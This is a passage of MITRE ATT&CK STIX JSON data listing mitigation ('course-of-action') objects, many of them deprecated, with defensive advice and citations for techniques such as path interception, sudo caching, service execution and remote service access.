","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1133","external_id":"T1133"}],"modified":"2019-07-24T19:27:15.659Z","name":"External Remote Services Mitigation","description":"Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--d5dce4b9-f1fa-4c03-aff9-ce177246cb64","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1035","url":"https://attack.mitre.org/mitigations/T1035","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:24.245Z","name":"Service Execution Mitigation","description":"Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--d7c49196-b40e-42bc-8eed-b803113692ed","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1042","url":"https://attack.mitre.org/mitigations/T1042","source_name":"mitre-attack"},{"source_name":"MSDN File Associations","description":"Microsoft. (n.d.). Retrieved July 26, 2016.","url":"https://msdn.microsoft.com/en-us/library/cc144156.aspx"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.675Z","name":"Change Default File Association Mitigation","description":"Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)\n\nIdentify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--d8787791-d22e-45bb-a9a8-251d8d0a1ff2","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1007","url":"https://attack.mitre.org/mitigations/T1007","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.699Z","name":"System Service Discovery Mitigation","description":"Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--d9727aee-48b8-4fdb-89e2-4c49746ba4dd","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1039","url":"https://attack.mitre.org/mitigations/T1039","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.087Z","name":"Data from Network Shared Drive Mitigation","description":"Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1125","url":"https://attack.mitre.org/mitigations/T1125","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:20.925Z","name":"Video Capture Mitigation","description":"Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--da987565-27b6-4b31-bbcd-74b909847116","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1026","external_id":"T1026"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-25T11:15:17.942Z","name":"Multiband Communication Mitigation","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--dbf0186e-722d-4a0a-af6a-b3460f162f84","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1206","external_id":"T1206"}],"modified":"2019-07-25T12:02:48.931Z","name":"Sudo Caching Mitigation","description":"Setting the timestamp_timeout to 0 will require the user to input their password every time sudo is executed. Similarly, ensuring that the tty_tickets setting is enabled will prevent this leakage across tty sessions.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--dc43c2fe-355e-4a79-9570-3267b0992784","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1157","external_id":"T1157"}],"modified":"2019-07-24T19:15:00.897Z","name":"Dylib Hijacking Mitigation","description":"Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--dd9a85ad-6a92-4986-a215-b01d0ce7b987","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1069","url":"https://attack.mitre.org/mitigations/T1069","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.874Z","name":"Permission Groups Discovery Mitigation","description":"Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--e0703d4f-3972-424a-8277-84004817e024","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1034","url":"https://attack.mitre.org/mitigations/T1034","source_name":"mitre-attack"},{"url":"http://msdn.microsoft.com/en-us/library/ms682425","description":"Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.","source_name":"Microsoft CreateProcess"},{"source_name":"MSDN DLL Security","description":"Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.","url":"https://msdn.microsoft.com/en-us/library/ff919712.aspx"},{"source_name":"Kanthak Sentinel","description":"Kanthak, S. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.","url":"https://skanthak.homepage.t-online.de/sentinel.html"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"}],"modified":"2021-08-23T20:25:19.363Z","name":"Path Interception Mitigation","description":"Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.\n\nPeriodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel). \n\nRequire that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution.\n\nIdentify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1152","external_id":"T1152"}],"modified":"2019-07-24T19:48:43.583Z","name":"Launchctl Mitigation","description":"Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-08T17:01:33.131Z","name":"Active Directory Configuration","description":"Implement robust Active Directory configurations using group policies to control access and reduce the attack surface. Specific examples include:\n\n* Account Configuration: Use provisioned domain accounts rather than local accounts to leverage centralized control and auditing capabilities.\n* Interactive Logon Restrictions: Enforce group policies that prohibit interactive logons for accounts that should not directly access systems.\n* Remote Desktop Settings: Limit Remote Desktop logons to authorized accounts to prevent misuse by adversaries.\n* Dedicated Administrative Accounts: Create specialized domain-wide accounts that are restricted from interactive logons but can perform specific tasks like installations or repository access.\n* Authentication Silos: Configure Authentication Silos in Active Directory to create access zones with restrictions based on membership in the Protected Users global security group. This setup enhances security by applying additional protections to high-risk accounts, limiting their exposure to potential attacks.","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","type":"course-of-action","id":"course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462","created":"2019-06-06T16:39:58.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/M1015","external_id":"M1015"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--e547ed6a-f1ca-40df-8613-2ce27927f145","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1052","external_id":"T1052"},{"url":"https://support.microsoft.com/en-us/kb/967715","description":"Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.","source_name":"Microsoft Disable Autorun"},{"url":"https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx","description":"Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.","source_name":"TechNet Removable Media Control"}],"modified":"2019-07-24T19:20:50.299Z","name":"Exfiltration Over Physical Medium Mitigation","description":"Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","type":"course-of-action","created":"2019-06-11T17:12:55.207Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1051","url":"https://attack.mitre.org/mitigations/M1051"}],"modified":"2020-07-07T12:42:39.005Z","name":"Update Software","description":"Perform regular software updates to mitigate exploitation risk.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff","type":"course-of-action","created":"2019-06-11T17:00:01.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1044","url":"https://attack.mitre.org/mitigations/M1044"}],"modified":"2019-06-11T17:00:01.740Z","name":"Restrict Library Loading","description":"Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--e8d22ec6-2236-48de-954b-974d17492782","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1111","url":"https://attack.mitre.org/mitigations/T1111","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.676Z","name":"Two-Factor Authentication Interception Mitigation","description":"Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.\n\nIdentify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--e9362d25-4427-446b-99e8-b8f0c3b86615","type":"course-of-action","created":"2019-04-24T17:02:25.107Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1492","source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1492"},{"description":"Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.","url":"https://www.ready.gov/business/implementation/IT","source_name":"Ready.gov IT DRP"}],"modified":"2019-07-25T12:02:27.102Z","name":"Stored Data Manipulation Mitigation","description":"Identify critical business and system processes that may be targeted by adversaries and work to secure the data related to those processes against tampering. Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk. Consider encrypting important information to reduce an adversaries ability to perform tailor data modifications. Where applicable, examine using file monitoring software to check integrity on important files and directories as well as take corrective actions when unauthorized changes are detected. \n\nConsider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","type":"course-of-action","created":"2019-06-11T16:45:19.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1042","url":"https://attack.mitre.org/mitigations/M1042"}],"modified":"2020-03-31T13:12:04.776Z","name":"Disable or Remove Feature or Program","description":"Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by 